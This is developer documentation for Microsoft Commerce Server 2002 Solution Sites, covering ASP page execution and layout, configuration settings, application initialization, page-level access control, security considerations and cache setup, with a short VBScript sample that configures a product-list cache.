The next include file, include\setupenv.asp, is central to the standard execution flow. This file is responsible for defining and (generally) initializing several dozen variables that can be used further on in the processing. It is also responsible for doing some correction of the URL (by calling the routine CorrectRequest). Finally, it ends by calling the routine Main, which is typically implemented as the first routine following the file inclusions. All custom processing for the page occurs within the Main routine and any routines called from within it.

After the routine Main returns, the HTML and the script in the final include file, either template\layout1.asp or template\no_menu.asp, is processed. All processing up to this point is entirely in script, as the opening HTML element has not yet been encountered. These layout files are mostly HTML, with the exception of a few include files that contain executable script, and the writing of the contents of a couple of page layout variables using the Internet Information Services (IIS) "<%=" directive.

For more information about the details of page layout, and the page layout variables, see Page Layout for Solution Sites and Page Layout Variables for Solution Sites, respectively.

See Also

Custom Execution Flow for Solution Sites


Custom Execution Flow for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

All custom aspects of the standard page execution flow occur within the routine Main. The Main routine is typically implemented as the first routine following include files on a Web site page. Helper routines that are specific to the page are typically found after the Main routine. Helper routines that are useful in a variety of pages are found in the utility routine include files.

The purpose of the Main routine, and its helper routines, is to establish the content to be displayed in a particular content area of the Web page being constructed. Both of the layout files template\layout1.asp and template\no_menu.asp assume that appropriate HTML content has been assigned as a string to the variable htmPageContent. The area of the page in which this content will be rendered is different in the two pages. In the file layout1.asp, the corresponding area is to the right of the menu area, and between the two horizontal rules (HR elements). In the file no_menu.asp, the corresponding area is the full width of the browser window, below the one horizontal rule.

The file layout1.asp also expects that a second content variable, htmDiscountBannerSlot, might also be assigned a string containing HTML content to be displayed in a full-width discount banner area below the second horizontal rule.

This is accomplished by setting two particular string variables to contain the HTML that will render the intended content. The layout files use the Internet Information Services (IIS) "<%=" directive to write the contents of the content variables in the appropriate location within the page layout. For more information about these variables, see Page Layout Variables for Solution Sites.

In addition to establishing the HTML content to be assigned to the appropriate content variables, the routine Main and its subordinate routines need to perform other processing appropriate to the purpose of the page. Often, this involves interaction with one or more databases to retrieve information to be displayed and write new information to be saved (such as information about purchases being made).

The routine Main is also responsible for controlling access to the page by calling either EnsureAccess or EnsureAuthAccess before doing anything else.

See Also

Standard Execution Flow for Solution Sites


Page Layout Variables for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

There are several page layout variables that are referenced from within the two layout files template\layout1.asp and template\no_menu.asp. The routine Main is responsible for setting some of these to appropriate HTML strings. The others are initialized as described below.

  • htmPageContent. This variable, declared in the file include\setupenv.asp, must be set within the routine Main to the HTML string that will result in the rendering of the main content area of the page. If this variable is not set, no content will be displayed in the main content area. If this variable does not contain valid HTML, the displayed content may not be rendered as intended. Therefore, appropriate care must be taken when writing or modifying the code that establishes the value of this variable.

    This content variable is referenced in the layout files template\layout1.asp and template\no_menu.asp.

  • htmDiscountBannerSlot. This variable, declared in the file include\setupenv.asp, may be set within the routine Main to an HTML string designed to display discounts being offered to the user. In the layout file template\layout1.asp the content associated with this variable is displayed below the menu and main content areas, just above the second horizontal rule (HR element). The layout file template\no_menu.asp does not reference this variable.

    Discounts are generally not appropriate for all pages on a Web site, or even for all pages that use the layout file template\layout1.asp. In such cases, the routine Main should leave this variable empty, resulting in nothing being displayed in the discount area of the page.

    Normally, when discounts are to be included on a page, this variable is set to the string returned by the function RenderDiscounts, defined in the include file template\discount.asp. This function runs a Content Selection pipeline to retrieve discount content, potentially targeted to the user and the contents of their basket.

  • dictConfig.s_SiteName. This value is taken directly from the App Default Config settings. The Dictionary object from which this string is retrieved is created in each page by the file include\setupenv.asp using the GetOptionsDictionary method of the AppConfig object stored in the Internet Information Services (IIS) Application object.

    This value is referenced in the layout files template\layout1.asp and template\no_menu.asp.

  • sPageTitle. This variable, declared in the file include\setupenv.asp, should be set within the routine Main to a string intended to be the title of the page (the data associated with the TITLE element).

    This content variable is referenced in the layout files template\layout1.asp and template\no_menu.asp.

For more information about how the HTML strings assigned to these variables are rendered in a standard location within the Web page, see Page Layout for Solution Sites.

See Also

Implementing the Main Subroutine for Solution Sites

Initializing the htmPageContent Variable


Page Layout for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Page layout within the Solution Sites is controlled by HTML code in one of two layout files: template\layout1.asp and template\no_menu.asp.

The file layout1.asp provides a common type of Web page layout, with space for a banner ad at the top, followed by the Web site name, and several navigation links. Below this is the typical side-by-side menu and main content areas, with the latter being the portion of the page that is unique to each page. The bottom portion of the page is used to display discount information, if any, and also includes a footer area.

The file no_menu.asp provides a simpler layout that does not include the navigation links, the menu area, the discount area, or the footer.

Each of the areas on the Web page are controlled by either a specific include file, or by writing out the contents of a specific string variable that was previously initialized when the routine Main was invoked from the file include\setupenv.asp. For more information about how these variables should be initialized, see Custom Execution Flow for Solution Sites and Page Layout Variables for Solution Sites. For more information about the utility routines designed to help you create HTML content, see HTML Construction for Solution Sites.

When required to achieve the layout you want, you should add additional content areas to the existing layout files, and new include files or content variables to supply content for them. When more than two types of page layout are needed, you should create new layout files for the additional layouts you require.

This section contains:

  • Page Layout Using “layout1.asp” for the Retail Solution Site
  • Page Layout Using “no_menu.asp” for the Retail Solution Site


Page Layout Using “layout1.asp” for the Retail Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following figure shows the home page of the Retail Solution Site, which uses the layout file template\layout1.asp. It is annotated with the include files and variable names responsible for the display of each separate area of the page. In this figure, the areas associated with the include file template\banner.inc and the variable htmDiscountBannerSlot are both empty. If one or both of them were not empty, the rendered page would use correspondingly more vertical space.

Page layout figure for layout1.asp

From top to bottom and left to right, the areas of the page are controlled as follows:

  • sPageTitle. A string variable that has been initialized within the routine Main. For more information, see Page Layout Variables for Solution Sites.
  • banner.inc. Runs a Content Selection pipeline to choose an appropriate ad for display. For more information, see template\banner.inc.
  • dictConfig.s_SiteName. A string variable that has been initialized within the routine GetAppConfigObject. For more information, see Page Layout Variables for Solution Sites.
  • navbar.inc. Produces an HTML string that will render links to home, catalog, and basket pages. The HTML string is cached when first produced for quicker subsequent retrieval. For more information, see template\navbar.inc.
  • menu.asp. Produces an HTML string that will render the menu area of the Web page, which includes controls to enable searching, links to the catalog, customer service, and so on. For more information, see template\menu.asp.
  • htmPageContent. A string variable that has been initialized within the routine Main. For more information, see Page Layout Variables for Solution Sites.
  • htmDiscountBannerSlot. A string variable that has been initialized within the routine Main. For more information, see Page Layout Variables for Solution Sites.
  • footer.inc. Produces an HTML string that will render copyright text. For more information, see template\footer.inc.

With an understanding of these files, you can create a more sophisticated Web site by creating alternative page layouts, perhaps naming the files that implement them as layout2.asp, layout3.asp, and so on.

See Also

Page Layout Using “no_menu.asp” for the Retail Solution Site

Page Layout Customization


Page Layout Using “no_menu.asp” for the Retail Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following figure shows the sign-in page of the Retail Solution Site, which uses the layout file template\no_menu.asp. It is annotated with the include files and variable names responsible for the display of each separate area of the page. In this figure, the area associated with the include file template\banner.inc is empty. If it were not empty, the rendered page would use correspondingly more vertical space.

Page layout figure for no_menu.asp

From top to bottom, the areas of the page are controlled as follows:

  • sPageTitle. A string variable that has been initialized within the routine Main. For more information, see Page Layout Variables for Solution Sites.
  • banner.inc. Runs a Content Selection pipeline to choose an appropriate ad for display. For more information, see template\banner.inc.
  • dictConfig.s_SiteName. A string variable that has been initialized within the routine GetAppConfigObject. For more information, see Page Layout Variables for Solution Sites.
  • htmPageContent. A string variable that has been initialized within the routine Main. For more information, see Page Layout Variables for Solution Sites.

See Also

Page Layout Using “layout1.asp” for the Retail Solution Site

Page Layout Customization


Configuration Settings for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Retail and Supplier Solution Sites have a common code base. The variations in their functionality come from differences in the App Default Config settings and whether the Profiling System stores profiles in SQL Server, Active Directory, or both types of data stores.

This section contains:

  • App Default Config Settings for Solution Sites
  • Profiling System Data Store for Solution Sites
  • INI File Configuration for Solution Sites


App Default Config Settings for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following table lists the App Default Config properties and their values for the Retail and Supplier Solution Sites. Properties that are connection strings or computer names are not listed. The Blank Solution Site has identical settings to the Retail site. The items in bold, in the following table, highlight the properties that are used with different values between the two sites. Italicized entries, under the Retail and Supplier headings, are values that depend on the locale where the site is installed.

Property | Retail | Supplier | s_Description
f_AltCurrencyConversionRate | 2 | 2 | Rate used to convert from the base currency to the alternate currency (for example, base currency = 2 x alternate currency).
i_AddItemRedirectOptions | 1 | 1 | Page to be displayed after a user adds an item to the basket: 0 - redirect to the basket page 1 - display the current product page
i_AddressBookOptions | 2 | 2 | Address book feature: 0 - disable 1 - enable and make the address book read-only 2 - enable and make the address book read/write
i_AltCurrencyLocale | 1033 | 1033 | Locale for the alternate currency: 1031 - German 1033 - English 1034 - Spanish 1036 - French 1041 - Japanese
i_AltCurrencyOptions | 0 | 0 | Simultaneous display of base and alternate currencies: 0 - disable 1 - enable
i_AuctionsOptions | 1 | 0 | Auctions: 0 - disable 1 - enable Not used by the Solution Sites.
i_BaseCurrencyLocale | 1033 | 1033 | Locale for the base currency; see the i_AltCurrencyLocale property in this table for valid values.
i_BillingOptions | 0 | 2 | If account billing was specified for the i_PaymentOptions property, this property further specifies billing types. The only option supported is 2 - stand-alone purchase orders. Not used by the Solution Sites.
i_BizTalkOptions | 0 | 0 | Integration with BizTalk Server to exchange documents: 0 - disable 1 - enable
i_CookiePathCorrectionOptions | 1 | 1 | Cookie path correction: 0 - enable 1 - enable application-based correction 2 - enable filter-based correction
i_CurrencyDisplayOrderOptions | 0 | 0 | When simultaneously displaying base and alternate currencies: 0 - display the base currency first 1 - display the alternate currency first
i_DelegatedAdminOptions | 0 | 1 | Partner Services: 0 - disable 1 - enable
i_FormLoginOptions | 6 | 7 | Login requirement; see About the Login Feature for Solution Sites.
i_FormLoginTimeOut | 60 | 60 | Number of minutes after which the ticket times out.
i_HostNameCorrectionOptions | 1 | 1 | Host name correction: 0 - disable 1 - enable
i_PaymentOptions | 1 | 5 | Payment types: 1 - credit card 4 - account billing 5 - both
i_ShipToLevelOptions | 0 | 0 | Shipment level: 1 - shipments made at the purchase order level 2 - shipments allowed at the line item level Not used by the Solution Sites.
i_ShoppingListOptions | 0 | 0 | Shopping lists: 0 - disable 1 - enable Not used by the Solution Sites.
i_SiteDefaultLocale | 1033 | 1033 | Locale for this site; see the i_AltCurrencyLocale property in this table for valid values.
i_SitePrivacyOptions | 1 | 1 | Anonymous users: 1 - profile 2 - profile and track visits
i_SiteRegistrationOptions | 1 | 0 | Self-registration: 0 - disable 1 - enable
i_SiteTicketOptions | 2 | 2 | User ticket location: 1 - in URL query string 2 - in a cookie
s_AltCurrencyCode | EUR | EUR | The ISO 4217 code for the alternate currency.
s_AltCurrencySymbol | EUR | EUR | Symbol for the alternate currency.
s_AnonymousUser DefaultCatalogSet | {11111111-1111-1111- 1111-111111111111} | {11111111-1111-1111- 1111-111111111111} | Default catalog set for an anonymous user.
s_AuthenticatedUser DefaultCatalogSet | {22222222-2222-2222- 2222-222222222222} | {22222222-2222-2222- 2222-222222222222} | Default catalog set for an authenticated user.
s_BaseCurrencyCode | USD | USD | The ISO 4217 code for the base currency.
s_BaseCurrencySymbol | $ | $ | Symbol for the base currency.
s_BizTalkCatalogDocType |  |  | Document definition name required by BizTalk Server to exchange catalogs. Not used by the Solution Sites.
s_BizTalkConnString |  |  | Connection string to the BizTalk Interchange Manager database, which stores messages sent from Commerce Server. Not used by the Solution Sites, but is used in Commerce Server Business Desk.
s_BizTalkOrderDocType |  |  | Document definition name required by BizTalk Server to submit purchase orders (for example, PurchaseOrder). The i_BizTalkOptions property must be enabled for this property to be used by the Solution Sites.
s_BizTalkSourceQualifierID |  |  | Alias qualifier for this site in BizTalk Server (for example, BizTalk). The i_BizTalkOptions property must be enabled for this property to be used by the Solution Sites.
s_BizTalkSourceQualifierValue |  |  | Alias value for this site in BizTalk Server (for example, MySite). The i_BizTalkOptions property must be enabled for this property to be used by the Solution Sites.
s_BizTalkSubmittypeQueue | 1 | 1 | Submit documents to BizTalk Server: 0 - synchronously 1 - asynchronously The i_BizTalkOptions property must be enabled for this property to be used by the Solution Sites.
s_PageEncodingCharset | windows-1252 | windows-1252 | Document encoding character set for the site (for example, 1252 - Windows).
s_SMTPServerName | TestSMTPServer | TestSMTPServer | Computer name of the SMTP server. Not used by the Solution Sites.
s_WeightMeasure | lbs | lbs | Unit of measure for calculating product shipping costs. Not used by the Solution Sites, but is used in Business Desk.

Related Commerce Server 2002 Help Topics

Administering Commerce Server\Managing Commerce Resources\Configuring App Default Config Resource Properties

See Also

Configuration Settings for Solution Sites

Use of App Default Config Settings in Solution Sites


Profiling System Data Store for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

One of the ways the Solution Sites differ is through the storage mechanism of the Profiling System. The Retail site uses UserObject profiles stored in a SQL Server database. The Supplier site uses UserObject profiles stored in Active Directory.

The Solution Sites check whether UserObject profiles are stored in Active Directory through the IsActiveDirectoryPresent function. This function checks if the UserObject profile definition contains a ParentDN property. The existence of this property signifies the use of Active Directory.

See Also

Configuration Settings for Solution Sites


INI File Configuration for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following table lists the properties contained in the csapp.ini file. By default, the SiteName, AddressKeyName, and RelativeURL properties are set to Retail or Supplier for the respective sites. These values should not be changed except during the unpacking process.

Property | Value | Description
SiteName | Retail or Supplier by default | The name of the site. This appears in the displayed HTML pages and as the name of the Commerce Server site in Commerce Server Manager.
AddressKeyName | Retail or Supplier by default | The name of the application.
RelativeURL | Retail or Supplier by default | The name of the Internet Information Services (IIS) virtual directory for the application relative to the default Web site.
CreatedBy | Author | Author of the site.
CreatedDate | 1999.04.02 00:00:00 | The date the site was created.
Version | 4.5.0000 | The version of Commerce Server 2002 that is being used.

See Also

Configuration Settings for Solution Sites

Initialization of Solution Sites


Initialization of Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This topic describes the actions taken in the global.asa file to initialize the site when the application starts. It also describes the initialization that occurs on each page due to the common include files.

This section contains:

  • Application Startup for Solution Sites
  • Page Initialization for Solution Sites


Application Startup for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following initialization actions occur in the global.asa file when the application starts.

Three type libraries are declared as meta-data so that constants declared in these libraries are globally available:

  • CS Apps Constants 1.0 Type Library
  • Microsoft Commerce 2002 Catalog Type Library
  • Microsoft Commerce 2002 Profile Service Type Library

Text box properties are declared.

The environment is set either to PRODUCTION or DEVELOPMENT.

The Main subroutine in the file include\global_main_lib.asp is called. The following table lists the global variables (given Application scope) created in this subroutine, the actions taken when the variable is created, and the routine that supplies the actions.

Variable | Actions | Routine
MSCSActiveDirectoryDomain | If the Profiling System uses Active Directory, the Active Directory domain name is retrieved. | sGetActiveDirectoryDefaultNamingContext
MSCSAdoConnection | An open ActiveX Data Object Database (ADODB) connection to OLE DB Provider for Commerce Server is created. | oGetOpenConnectionObject
MSCSAltCurrencyDisp | The EuroDisplay object is created and initialized for display of alternate currency. | InitAltCurrencyDisp
MSCSAppConfig | The AppConfig object is created. | GetAppConfigObject
MSCSAppFrameWork | The AppFrameWork object is created. | Main
MSCSAuthManager | The AuthManager object is created. | InitAuthManager
MSCSCacheManager | The CacheManager object and caches are created and configured. | InitCacheManager
MSCSCatalogAttribs | Retrieves all the property definitions that exist in the Product Catalog System and places them in a Dictionary object for fast access. | dictGetCatalogAttributes
MSCSCatalogManager | The CatalogManager object is created and initialized. | InitCatalogManager
MSCSCatalogSets | The CatalogSets object is created and initialized. | InitCatalogSets
MSCSCommerceAppName | The application name is retrieved from the config.ini file. | GetINIString
MSCSCommerceSiteName | The site name is retrieved from the config.ini file. | GetINIString
MSCSDataFunctions | The DataFunctions object is created and the locale set. | InitDataFunctions
MSCSExpressionEvaluator | The ExpressionEval object is created and connected to the Expression store. | Main
MSCSForms | Form definitions are retrieved and placed in a Dictionary object. | GetFormDefinitions
MSCSGenID | The GenID object is created. | oGetGenIDObject
MSCSMessageManager | The MessageManager object is created and entries from the rc.xml file are read. | GetMessageManagerObject
MSCSObjectInstances | A SimpleList object and a Dictionary object are created and placed in a Dictionary object. | GetObjectInstanceDictionary
MSCSPageEncodingCharset | The s_PageEncodingCharset site configuration property is retrieved using the GetOptionsDictionary method of the AppCfg object. | GetConfigDictionary
MSCSPageProperties | A Dictionary object is created that contains one Dictionary object for each page in Partner and Customer Services. Each Dictionary object contains properties of the page. | GetPartnerAndCustomerServicePageAttributes
MSCSPageSets | The following page sets (groups of related pages) are created and placed in a Dictionary object: AdvertisementPageSet, ProductPageSet, and PurchasePageSet. | InitPageSets
MSCSPipelines | Friendly names are created for the pipelines and placed in a Dictionary object; logging is enabled. | InitSitePipelines
MSCSPredictor | The PredictorClient object is created and the Transaction prediction model is loaded from the Data Warehouse. | InitPredictor
MSCSProfileProperties | All the properties of all the profile schemas are placed into a Dictionary object. | dictGetProfileSchemaForAllProfileTypes
MSCSProfileService | The ProfileService object is created and initialized to the Profile store. | InitProfileService
MSCSProfileServiceUsesActiveDirectory | Whether Active Directory is used by the Profiling System is determined and placed in a Boolean value. | IsActiveDirectoryPresent
MSCSSecurePages | The Dictionary object containing the names of the secure pages is retrieved. All secure pages need to be put into this Dictionary object. | GetSecurePagesDictionary
MSCSSitePages | Friendly names are created for the site pages and placed in a Dictionary object. | GetSitePages
MSCSSitePaymentMethods | The payment methods for the site are retrieved and placed in a SimpleList object. | GetPaymentMethodsForSite
MSCSSiteStyle | HTML styles are defined and placed in a Dictionary object. | GetSiteStyles
WebServerCount | This server is joined to the Web farm, if there is one. The number of servers in the Web farm is retrieved. | JoinWebFarm
CSFAdvertisingContext, CSFDiscountContext, CampaignsCSFEventPipe | The Content Selection Framework is initialized for advertising, discounts, and an event-processing pipeline. | InitCSF

See Also

Initialization of Solution Sites

Page Initialization for Solution Sites


Page Initialization for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

A common subset of files is included in all pages. Most of these files provide access to numerous routines. However, the following files also provide code declared outside of any routines:

  • include\header.asp
  • include\setupenv.asp - This file provides extensive functionality, including the creation of local variables from the application variables created in the global.asa file.

See Also

Page Execution Model for Solution Sites

Initialization of Solution Sites

Application Startup for Solution Sites


Page-Level Access Control for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The EnsureAccess and EnsureAuthAccess routines, defined in the file include\std_access_lib.asp, implement page-level access control based on the user type and access type. For information about the user type and access type, see User Tracking.

The EnsureAccess and EnsureAuthAccess routines must be called from within the Main subroutine on every page that requires access control. The call must appear before any other statement in the Main subroutine.

Both the EnsureAuthAccess and EnsureAccess routines grant access to users who are registered and authenticated (user type = AUTH_USER), and have a profile. The EnsureAccess subroutine also allows access to anonymous users based on the login option. Neither of these routines allow direct anonymous access and should not be called on any page where direct access by anonymous users is wanted.

This section contains:

  • Using EnsureAuthAccess to Access Solution Sites
  • Using EnsureAccess to Access Solution Sites
  • Using Anonymous Access for the Retail Solution Site

See Also

About the Login Feature for Solution Sites

About the Profiles Feature for Solution Sites

Security Issues for Solution Sites

About the User Tracking Feature for Solution Sites


Using EnsureAuthAccess to Access Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The EnsureAuthAccess function allows page access to users who are registered and authenticated (user type = AUTH_USER), and have a profile. Authenticated users without a profile are redirected to the error\profile.asp page which displays an error message. All other user types are redirected to the login\login.asp page.

The following pages call this function:

_setadrs.asp | addrbook.asp
newaddr.asp | po.asp
services\partner\account.asp | services\change_password.asp
services\partner\edit_user.asp | services\customer\account.asp
services\partner\orders.asp | services\customer\orders.asp
services\partner\users.asp | services\customer\view_order.asp
services\partner\view_order.asp

See Also

Page-Level Access Control for Solution Sites

Using EnsureAccess to Access Solution Sites

Using Anonymous Access for the Retail Solution Site


Using EnsureAccess to Access Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following figure shows the steps performed by the EnsureAccess subroutine. These steps are described immediately following the figure.

EnsureAccess logic diagram

Authenticated Users

Page access is granted to users who are registered and authenticated (user type = AUTH_USER), and have a profile. Authenticated users without a profile are redirected to the error\profile.asp page. All other user types are redirected to the login\login.asp page. This is functionally equivalent to the EnsureAuthAccess function.

Anonymous Users

If login is not required, anonymous users (GUEST_USER) are allowed access to the page. The following steps are performed for anonymous users:

  1. If login is required on the site, the user is redirected to the login page.
  2. If the user has previously registered, the user is redirected to the welcome.asp page.
  3. Otherwise, access to the page is granted.

Anonymous Users

If login is not required, the EnsureAccess subroutine is re-called. The following steps are performed for anonymous users:

  1. If login is required on the site, the user is redirected to the login page.
  2. If profiling is enabled on the site, a new profile (with a globally unique identifier (GUID) for the user ID) is created for the user. Otherwise, only the GUID is generated for the user ID.
  3. The user ID is set in a Profile ticket either as a cookie (if enabled on the client) or a URL query string.
  4. The user type is changed to GUEST_USER and the access type to GUEST_VISIT.
  5. The EnsureAccess subroutine is called again in order to trigger the validation logic for anonymous users.

The following pages call the EnsureAccess subroutine:

_additem.asp | category.asp | product.asp
_delall.asp | confirm.asp | redir.asp
_delitem.asp | crdtcard.asp | search.asp
_editqty.asp | default.asp | srchdept.asp
_setship.asp | dispatch.asp | stepsrch.asp
addrform.asp | pickship.asp | summary.asp
basket.asp

See Also

Page-Level Access Control for Solution Sites

Using EnsureAuthAccess to Access Solution Sites

Using Anonymous Access for the Retail Solution Site


Using Anonymous Access for the Retail Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following pages in the Retail site do not call either the EnsureAuthAccess or EnsureAccess routines and thus allow direct anonymous access:

_recvpo.asp | error\baditem.asp
welcome.asp | error\badurl.asp
login\login.asp | error\closed.asp
login\logoff.asp | error\construc.asp
login\newuser.asp | error\noauth.asp
login\_guest.asp | error\profile.asp
services\error\badaction.asp | services\error\noaccess.asp
services\error\noorder.asp | services\error\noorgprofile.asp
services\error\noprofile.asp

See Also

Page-Level Access Control for Solution Sites

Using EnsureAuthAccess to Access Solution Sites

Using EnsureAccess to Access Solution Sites


Security Issues for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following security issues pertain specifically to the Solution Sites. For more information about security issues in general, see "Securing Your Site" in Commerce Server 2002 Help.

  • You must place any page you want to have secured using the Secure Socket Layer (SSL) protocol into the secure pages dictionary (MSCSSecurePages). Add secure pages to this dictionary using the GetSecurePagesDictionary function of the include\global_siteconfig_lib.asp file. SSL for the site must be enabled from the Internet Information Services (IIS) snap-in.
  • There is an IIS configuration switch that forces a site to run all of its pages in SSL mode. The Retail site was not built to support running in this mode; nor is it recommended for performance reasons.
  • Page access is controlled through the use of IIS security settings and by the EnsureAccess and EnsureAuthAccess routines, defined in the include\std_access_lib.asp file. For more information, see Page-Level Access Control for Solution Sites.
  • Tickets are property name/value pairs stored in either a cookie (if enabled) or appended to the URL query string (URL mode). A ticket contains a unique ID used for tracking and authenticating a user. If using URL mode, the ticket containing the ID of the user is available from the HTML cache and browser history list. This may be used to impersonate the user and gain access to the account information of the user. For more information about tickets, see User Tracking.
  • The BDRefresh.asp and RefreshApp.asp files allow cache refreshes to be triggered from Commerce Server Business Desk. Clearing either of these caches repeatedly could lead to a denial of service for users. These files must be secured to ensure that only Business Desk users can trigger the refresh of the pages. Secure these files by granting access to specific Business Desk users through the use of IP address access restrictions in IIS. For more information about securing these files, and other files included with the Solution Sites, see "Limiting Access to Your Site" in Commerce Server 2002 Help.
  • The csapp.ini file should be secured by turning off both read and anonymous access to it in IIS. This file should not be secured with NTFS permissions because it needs to be readable under user credentials, such as the IUSR account.
  • Several of the files in the Solution Sites have the file extension ".inc". These files are downloadable and the source is viewable if the files are not properly secured. By default, Commerce Server Site Packager denies download access to the directory in which these file are located. Be sure that this setting is preserved. These files also can be safely renamed with an ".asp" extension.
  • Access to different catalogs can be granted on a user or organization basis. Users are locked out of catalogs not in their catalog set. The catalog set information is stored in the profile of the user or their organization. The GetCatalogForUser function ensures that the user or organization has rights to a specified catalog.
  • The request wrapper functions (GetRequestString and GetRequestStringRange) prevent scripting attacks by stripping double quotes, and opening and closing element tags (< and >) from strings obtained through the Request object.
  • Partner and Customer Service pages use profile property attributes to determine whether different types of users (normal users, delegated administrators, and so on) can read or write the profile properties. For example, a user profile may have a property called "approval limit". You can use the property attributes to designate that normal users cannot edit the property, but delegated administrators can. For more information about setting the attributes, see "Profile Definitions" under "Running the Profiles Resource" in Commerce Server 2002 Help.
  • Credit card information is not stored in a database. The credit card number is passed to a payment pipeline component, which takes full ownership of the number. However, the pipeline component can be changed to explicitly save the credit card number to the order form. (The creditcard number, _cc_number, is not persisted to the database because it is prefixed by the underscore.)

See Also

Page-Level Access Control for Solution Sites

About the Login Feature for Solution Sites

About the Profiles Feature for Solution Sites

About the User Tracking Feature for Solution Sites


Caching Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Retail and Supplier Solution Sites rely heavily on data caching to improve performance. Data caching is a method of keeping data and objects that you expect to reuse in memory for quicker access. The Solution Sites cache most of the HTML displayed on the site, as well as frequently used data for advertisements and the Order Processing pipeline.

This section contains:

  • Caching Overview for Solution Sites
  • Catalog Caching for Solution Sites
  • Search Caching for Solution Sites
  • Campaign Caching for Solution Sites
  • OPP Caching for Solution Sites
  • Other Caches
  • Adding a New Cache


Caching Overview for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Retail and Supplier Solution Sites use the same code for caching. The initialization code at application startup creates a Commerce Server CacheManager object that is available at the application level. The CacheManager object maintains the collection of caches, and the caches are accessed through it.

Initialization for caching occurs in the following files:

include\global_main_lib.asp

This file contains the Main function for the global.asa file. During application initialization the Main function creates the application variable MSCSCacheManager and sets it to the CacheManager object returned by the InitCacheManager function.

include\global_cache_lib.asp

The InitCacheManager function creates a new CacheManager object. It then creates and initializes the collection of caches for the application, and then returns the CacheManager object.

All the caches can be refreshed from Commerce Server Business Desk through the BDRefresh.asp page. The BDRefresh.asp page contains code to refresh multiple caches when any one of a group of related caches is refreshed. This avoids inconsistencies between related caches, such as the catalog caches.

See Also

Catalog Caching for Solution Sites

Search Caching for Solution Sites

Campaign Caching for Solution Sites

OPP Caching for Solution Sites

Initialization of Solution Sites


Catalog Caching for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

All of the catalog caches are initialized in an identical fashion. Most of them are used to store HTML fragments. Based on your scenario you may want to adjust cache sizes or other attributes to enhance the performance of your application. Details for performance tuning are beyond the scope of this document. For more information about performance tuning, see Optimizing Commerce Server.

Initialization

The following code, from the InitCacheManager function with additional comments, shows how the cache ProductListCache is created in the Solution Sites:

'Create the configuration dictionary for the cache loader.
      Set dictProductListCacheConfig = GetDictionary()

'Get the connection string from the configuration dictionary.
    dictProductListCacheConfig("ConnectionString") = _
       dictConfig.s_TransactionConfigConnectionString

'Set cache size, this is the number of items in the cache.
'It is not related to the size of the items.
    dictProductListCacheConfig("CacheSize") = 10000

'Set the name of the table used to provide information to Business Desk.
    dictProductListCacheConfig("TableName") = _
        "CatalogCache_Virtual_Directory"

'CacheName is one of the fields inserted in the above table.
'It also is used in BDRefresh.asp to trigger
'refreshing all catalog caches.
    dictProductListCacheConfig("CacheName") = "CatalogCache"
'Machine Base URL, to be inserted in the above table.
    dictProductListCacheConfig("AppUrl") = sMachineBaseURL
...
' Configure CacheManager For ProductList Fragment Caching.
'Setting RefreshInterval to 0 disables automatic refresh.
    oCacheManager.RefreshInterval("ProductListCache") = 0
'RetryInterval in seconds.
    oCacheManager.RetryInterval("ProductListCache") = 5 * 60
'Use an LRUCache object for the cache.
    oCacheManager.CacheObjectProgId("ProductListCache") = _
        "Commerce.LRUCache"
    oCacheManager.LoaderProgId("ProductListCache") = _
        "Commerce.LRUCacheFlush"
'Reference the dictionary created above for configuration data.
    Set oCacheManager.LoaderConfig("ProductListCache") = _
        dictProductListCacheConfig

Using Caches

The Solution Sites use four wrapper routines to simplify moving items in or out of the catalog caches.

CacheFragment

CacheObject

LookupCachedFragment

LookupCachedObject

Note

  • These routines expect an LRUCache object name, and will not work with a dictionary object name.

During site development it can be useful to disable caching. When troubleshooting caching problems it can be useful know whether a particular item was cached. There is commented debug code in the LookupCachedFragment function to show if a fragment was cached.

Individual Caches

There are six caches, not counting search caches, that are related to the catalog. The search caches are discussed in Search Caching for Solution Sites.

ProductListCache

QueryCatalogInfoCache

DiscountProductInfo

DefaultPageCache

ProductPageCache

StaticSectionsCache

ProductListCache

The cache ProductListCache is used to store product list HTML fragments on the category.asp page. It is referenced in the htmCategoryHTML and htmCachedProductList functions.

QueryCatalogInfoCache

The cache QueryCatalogInfoCache is used by the QueryCatalogInfo pipeline component. For more information, see QueryCatalogInfo. The Commerce Server 2002 QueryCatalogInfo pipeline component expects a cache of this name.

DiscountProductInfo

The discountProductInfo cache is used to store SimpleList objects containing product information on the template\discount.asp helper page. It is referenced in the GetShownProductsDetails and oCachedDiscountProductInfo functions.

DefaultPageCache

The DefaultPageCache cache is used to store the HTML for the user's default page on the default.asp page. It is referenced in the Main (default.asp) function on the page and in the htmRenderDefaultPage function.

ProductPageCache

The cache ProductPageCache is used to store product page HTML on the product.asp page. It is referenced in the Main (product.asp) function.

StaticSectionsCache

The cache StaticSectionsCache is used to store a variety of miscellaneous HTML fragments on the site. The following are examples of pages that reference the cache StaticSectionsCache:

  • template\menu.asp is referenced in the htmRenderLoginSection and htmRenderMenu functions.
  • template\navbar.inc is referenced in the RenderNavbar function.
  • include\form_lib.asp is referenced in the htmRenderFillOutForm function.
  • pickship.asp is referenced in the Main (pickship.asp) and htmCachedShippingMethods functions.

